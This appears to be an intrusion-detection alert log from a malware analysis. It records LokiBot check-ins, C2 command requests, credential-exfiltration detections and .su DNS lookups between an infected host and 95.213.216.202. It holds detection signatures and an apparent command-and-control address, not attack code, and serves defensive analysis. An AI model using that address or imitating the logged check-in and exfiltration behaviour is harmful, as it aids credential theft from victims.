Timestamp:	192.168.2.395.213.216.20249713802024318 11/30/22-00:54:37.979213
SID:	2024318
Source Port:	49713
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET DNS Query for .su TLD (Soviet Union) Often Malware Related - Source IP: 192.168.2.3 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.38.8.8.857743532014169 11/30/22-00:55:08.735474
SID:	2014169
Source Port:	57743
Destination Port:	53
Protocol:	UDP
Classtype:	Potentially Bad Traffic

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249754802825766 11/30/22-00:55:53.496270
SID:	2825766
Source Port:	49754
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 95.213.216.202 - Destination IP: 192.168.2.3

Timestamp:	95.213.216.202192.168.2.380497572025483 11/30/22-00:55:59.773200
SID:	2025483
Source Port:	80
Destination Port:	49757
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249744802025381 11/30/22-00:55:34.401351
SID:	2025381
Source Port:	49744
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET DNS Query for .su TLD (Soviet Union) Often Malware Related - Source IP: 192.168.2.3 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.38.8.8.859820532014169 11/30/22-00:55:29.162121
SID:	2014169
Source Port:	59820
Destination Port:	53
Protocol:	UDP
Classtype:	Potentially Bad Traffic

ET DNS Query for .su TLD (Soviet Union) Often Malware Related - Source IP: 192.168.2.3 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.38.8.8.853305532014169 11/30/22-00:54:54.648302
SID:	2014169
Source Port:	53305
Destination Port:	53
Protocol:	UDP
Classtype:	Potentially Bad Traffic

ET TROJAN LokiBot Fake 404 Response - Source IP: 95.213.216.202 - Destination IP: 192.168.2.3

Timestamp:	95.213.216.202192.168.2.380497532025483 11/30/22-00:55:52.887247
SID:	2025483
Source Port:	80
Destination Port:	49753
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249708802025381 11/30/22-00:54:26.803652
SID:	2025381
Source Port:	49708
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 95.213.216.202 - Destination IP: 192.168.2.3

Timestamp:	95.213.216.202192.168.2.380497162025483 11/30/22-00:54:45.204539
SID:	2025483
Source Port:	80
Destination Port:	49716
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 95.213.216.202 - Destination IP: 192.168.2.3

Timestamp:	95.213.216.202192.168.2.380497382025483 11/30/22-00:55:24.982216
SID:	2025483
Source Port:	80
Destination Port:	49738
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249758802024313 11/30/22-00:56:00.034214
SID:	2024313
Source Port:	49758
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249755802021641 11/30/22-00:55:55.653974
SID:	2021641
Source Port:	49755
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 95.213.216.202 - Destination IP: 192.168.2.3

Timestamp:	95.213.216.202192.168.2.380497302025483 11/30/22-00:55:10.337695
SID:	2025483
Source Port:	80
Destination Port:	49730
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 95.213.216.202 - Destination IP: 192.168.2.3

Timestamp:	95.213.216.202192.168.2.380497342025483 11/30/22-00:55:17.565495
SID:	2025483
Source Port:	80
Destination Port:	49734
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249758802024318 11/30/22-00:56:00.034214
SID:	2024318
Source Port:	49758
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET DNS Query for .su TLD (Soviet Union) Often Malware Related - Source IP: 192.168.2.3 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.38.8.8.852387532014169 11/30/22-00:54:14.412323
SID:	2014169
Source Port:	52387
Destination Port:	53
Protocol:	UDP
Classtype:	Potentially Bad Traffic

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249721802024318 11/30/22-00:54:53.572062
SID:	2024318
Source Port:	49721
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249727802021641 11/30/22-00:55:03.486766
SID:	2021641
Source Port:	49727
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249750802021641 11/30/22-00:55:45.758418
SID:	2021641
Source Port:	49750
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 95.213.216.202 - Destination IP: 192.168.2.3

Timestamp:	95.213.216.202192.168.2.380497122025483 11/30/22-00:54:37.552263
SID:	2025483
Source Port:	80
Destination Port:	49712
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249718802825766 11/30/22-00:54:47.592007
SID:	2825766
Source Port:	49718
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET DNS Query for .su TLD (Soviet Union) Often Malware Related - Source IP: 192.168.2.3 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.38.8.8.851992532014169 11/30/22-00:55:36.286012
SID:	2014169
Source Port:	51992
Destination Port:	53
Protocol:	UDP
Classtype:	Potentially Bad Traffic

ET DNS Query for .su TLD (Soviet Union) Often Malware Related - Source IP: 192.168.2.3 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.38.8.8.860625532014169 11/30/22-00:54:18.863516
SID:	2014169
Source Port:	60625
Destination Port:	53
Protocol:	UDP
Classtype:	Potentially Bad Traffic

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249736802025381 11/30/22-00:55:19.643476
SID:	2025381
Source Port:	49736
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249721802024313 11/30/22-00:54:53.572062
SID:	2024313
Source Port:	49721
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249746802825766 11/30/22-00:55:38.275174
SID:	2825766
Source Port:	49746
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249722802021641 11/30/22-00:54:54.732179
SID:	2021641
Source Port:	49722
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249699802025381 11/30/22-00:54:07.324934
SID:	2025381
Source Port:	49699
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249714802021641 11/30/22-00:54:39.977728
SID:	2021641
Source Port:	49714
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 95.213.216.202 - Destination IP: 192.168.2.3

Timestamp:	95.213.216.202192.168.2.380497492025483 11/30/22-00:55:45.483574
SID:	2025483
Source Port:	80
Destination Port:	49749
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249712802025381 11/30/22-00:54:35.972913
SID:	2025381
Source Port:	49712
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET DNS Query for .su TLD (Soviet Union) Often Malware Related - Source IP: 192.168.2.3 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.38.8.8.857840532014169 11/30/22-00:54:09.401173
SID:	2014169
Source Port:	57840
Destination Port:	53
Protocol:	UDP
Classtype:	Potentially Bad Traffic

ET DNS Query for .su TLD (Soviet Union) Often Malware Related - Source IP: 192.168.2.3 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.38.8.8.858301532014169 11/30/22-00:55:42.001541
SID:	2014169
Source Port:	58301
Destination Port:	53
Protocol:	UDP
Classtype:	Potentially Bad Traffic

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249740802025381 11/30/22-00:55:27.193434
SID:	2025381
Source Port:	49740
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 95.213.216.202 - Destination IP: 192.168.2.3

Timestamp:	95.213.216.202192.168.2.380497422025483 11/30/22-00:55:32.668199
SID:	2025483
Source Port:	80
Destination Port:	49742
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET DNS Query for .su TLD (Soviet Union) Often Malware Related - Source IP: 192.168.2.3 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.38.8.8.863562532014169 11/30/22-00:55:23.368358
SID:	2014169
Source Port:	63562
Destination Port:	53
Protocol:	UDP
Classtype:	Potentially Bad Traffic

ET TROJAN LokiBot Fake 404 Response - Source IP: 95.213.216.202 - Destination IP: 192.168.2.3

Timestamp:	95.213.216.202192.168.2.380497412025483 11/30/22-00:55:30.821604
SID:	2025483
Source Port:	80
Destination Port:	49741
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET DNS Query for .su TLD (Soviet Union) Often Malware Related - Source IP: 192.168.2.3 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.38.8.8.850784532014169 11/30/22-00:55:55.557056
SID:	2014169
Source Port:	50784
Destination Port:	53
Protocol:	UDP
Classtype:	Potentially Bad Traffic

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249723802021641 11/30/22-00:54:56.463103
SID:	2021641
Source Port:	49723
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249713802825766 11/30/22-00:54:37.979213
SID:	2825766
Source Port:	49713
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249726802024313 11/30/22-00:55:01.673863
SID:	2024313
Source Port:	49726
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249728802025381 11/30/22-00:55:05.285201
SID:	2025381
Source Port:	49728
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249726802024318 11/30/22-00:55:01.673863
SID:	2024318
Source Port:	49726
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249737802025381 11/30/22-00:55:21.614296
SID:	2025381
Source Port:	49737
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 95.213.216.202 - Destination IP: 192.168.2.3

Timestamp:	95.213.216.202192.168.2.380497112025483 11/30/22-00:54:35.462242
SID:	2025483
Source Port:	80
Destination Port:	49711
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET DNS Query for .su TLD (Soviet Union) Often Malware Related - Source IP: 192.168.2.3 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.38.8.8.856949532014169 11/30/22-00:54:59.841953
SID:	2014169
Source Port:	56949
Destination Port:	53
Protocol:	UDP
Classtype:	Potentially Bad Traffic

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249753802024318 11/30/22-00:55:51.242717
SID:	2024318
Source Port:	49753
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249753802024313 11/30/22-00:55:51.242717
SID:	2024313
Source Port:	49753
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 95.213.216.202 - Destination IP: 192.168.2.3

Timestamp:	95.213.216.202192.168.2.380497082025483 11/30/22-00:54:28.382639
SID:	2025483
Source Port:	80
Destination Port:	49708
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249714802825766 11/30/22-00:54:39.977728
SID:	2825766
Source Port:	49714
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249725802024313 11/30/22-00:54:59.930841
SID:	2024313
Source Port:	49725
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249756802025381 11/30/22-00:55:57.533680
SID:	2025381
Source Port:	49756
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET DNS Query for .su TLD (Soviet Union) Often Malware Related - Source IP: 192.168.2.3 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.38.8.8.860825532014169 11/30/22-00:55:59.940841
SID:	2014169
Source Port:	60825
Destination Port:	53
Protocol:	UDP
Classtype:	Potentially Bad Traffic

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249754802024313 11/30/22-00:55:53.496270
SID:	2024313
Source Port:	49754
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249748802021641 11/30/22-00:55:42.098367
SID:	2021641
Source Port:	49748
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249725802024318 11/30/22-00:54:59.930841
SID:	2024318
Source Port:	49725
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249742802021641 11/30/22-00:55:31.101064
SID:	2021641
Source Port:	49742
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249755802825766 11/30/22-00:55:55.653974
SID:	2825766
Source Port:	49755
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249754802024318 11/30/22-00:55:53.496270
SID:	2024318
Source Port:	49754
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249709802025381 11/30/22-00:54:29.164231
SID:	2025381
Source Port:	49709
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET DNS Query for .su TLD (Soviet Union) Often Malware Related - Source IP: 192.168.2.3 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.38.8.8.849977532014169 11/30/22-00:54:06.875981
SID:	2014169
Source Port:	49977
Destination Port:	53
Protocol:	UDP
Classtype:	Potentially Bad Traffic

ET DNS Query for .su TLD (Soviet Union) Often Malware Related - Source IP: 192.168.2.3 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.38.8.8.856924532014169 11/30/22-00:54:16.879287
SID:	2014169
Source Port:	56924
Destination Port:	53
Protocol:	UDP
Classtype:	Potentially Bad Traffic

ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249700802024317 11/30/22-00:54:09.487691
SID:	2024317
Source Port:	49700
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249739802825766 11/30/22-00:55:25.267085
SID:	2825766
Source Port:	49739
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET DNS Query for .su TLD (Soviet Union) Often Malware Related - Source IP: 192.168.2.3 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.38.8.8.860582532014169 11/30/22-00:54:28.778637
SID:	2014169
Source Port:	60582
Destination Port:	53
Protocol:	UDP
Classtype:	Potentially Bad Traffic

ET TROJAN LokiBot Fake 404 Response - Source IP: 95.213.216.202 - Destination IP: 192.168.2.3

Timestamp:	95.213.216.202192.168.2.380497192025483 11/30/22-00:54:51.280995
SID:	2025483
Source Port:	80
Destination Port:	49719
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET DNS Query for .su TLD (Soviet Union) Often Malware Related - Source IP: 192.168.2.3 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.38.8.8.864595532014169 11/30/22-00:55:31.020256
SID:	2014169
Source Port:	64595
Destination Port:	53
Protocol:	UDP
Classtype:	Potentially Bad Traffic

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249742802825766 11/30/22-00:55:31.101064
SID:	2825766
Source Port:	49742
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M1 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249700802024312 11/30/22-00:54:09.487691
SID:	2024312
Source Port:	49700
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249711802025381 11/30/22-00:54:33.859062
SID:	2025381
Source Port:	49711
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET DNS Query for .su TLD (Soviet Union) Often Malware Related - Source IP: 192.168.2.3 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.38.8.8.860767532014169 11/30/22-00:54:45.460012
SID:	2014169
Source Port:	60767
Destination Port:	53
Protocol:	UDP
Classtype:	Potentially Bad Traffic

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249739802021641 11/30/22-00:55:25.267085
SID:	2021641
Source Port:	49739
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249724802025381 11/30/22-00:54:58.184483
SID:	2025381
Source Port:	49724
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249751802021641 11/30/22-00:55:47.279515
SID:	2021641
Source Port:	49751
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249758802825766 11/30/22-00:56:00.034214
SID:	2825766
Source Port:	49758
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249710802021641 11/30/22-00:54:31.910937
SID:	2021641
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249711802021641 11/30/22-00:54:33.859062
SID:	2021641
Source Port:	49711
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET DNS Query for .su TLD (Soviet Union) Often Malware Related - Source IP: 192.168.2.3 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.38.8.8.849201532014169 11/30/22-00:56:00.958664
SID:	2014169
Source Port:	49201
Destination Port:	53
Protocol:	UDP
Classtype:	Potentially Bad Traffic

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249729802024313 11/30/22-00:55:07.068054
SID:	2024313
Source Port:	49729
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249758802025381 11/30/22-00:56:00.034214
SID:	2025381
Source Port:	49758
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 95.213.216.202 - Destination IP: 192.168.2.3

Timestamp:	95.213.216.202192.168.2.380497262025483 11/30/22-00:55:03.204141
SID:	2025483
Source Port:	80
Destination Port:	49726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249743802025381 11/30/22-00:55:32.962709
SID:	2025381
Source Port:	49743
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249729802024318 11/30/22-00:55:07.068054
SID:	2024318
Source Port:	49729
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249744802021641 11/30/22-00:55:34.401351
SID:	2021641
Source Port:	49744
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249726802021641 11/30/22-00:55:01.673863
SID:	2021641
Source Port:	49726
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249750802024313 11/30/22-00:55:45.758418
SID:	2024313
Source Port:	49750
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249710802825766 11/30/22-00:54:31.910937
SID:	2825766
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 95.213.216.202 - Destination IP: 192.168.2.3

Timestamp:	95.213.216.202192.168.2.380497222025483 11/30/22-00:54:56.166551
SID:	2025483
Source Port:	80
Destination Port:	49722
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249750802024318 11/30/22-00:55:45.758418
SID:	2024318
Source Port:	49750
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249699802021641 11/30/22-00:54:07.324934
SID:	2021641
Source Port:	49699
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 95.213.216.202 - Destination IP: 192.168.2.3

Timestamp:	95.213.216.202192.168.2.380497202025483 11/30/22-00:54:53.259308
SID:	2025483
Source Port:	80
Destination Port:	49720
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249701802021641 11/30/22-00:54:12.581436
SID:	2021641
Source Port:	49701
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET DNS Query for .su TLD (Soviet Union) Often Malware Related - Source IP: 192.168.2.3 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.38.8.8.853623532014169 11/30/22-00:55:10.547934
SID:	2014169
Source Port:	53623
Destination Port:	53
Protocol:	UDP
Classtype:	Potentially Bad Traffic

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249754802021641 11/30/22-00:55:53.496270
SID:	2021641
Source Port:	49754
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249715802025381 11/30/22-00:54:42.060768
SID:	2025381
Source Port:	49715
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET DNS Query for .su TLD (Soviet Union) Often Malware Related - Source IP: 192.168.2.3 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.38.8.8.852955532014169 11/30/22-00:54:26.705694
SID:	2014169
Source Port:	52955
Destination Port:	53
Protocol:	UDP
Classtype:	Potentially Bad Traffic

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249740802024313 11/30/22-00:55:27.193434
SID:	2024313
Source Port:	49740
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249740802024318 11/30/22-00:55:27.193434
SID:	2024318
Source Port:	49740
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249738802025381 11/30/22-00:55:23.450513
SID:	2025381
Source Port:	49738
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249731802021641 11/30/22-00:55:10.632751
SID:	2021641
Source Port:	49731
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

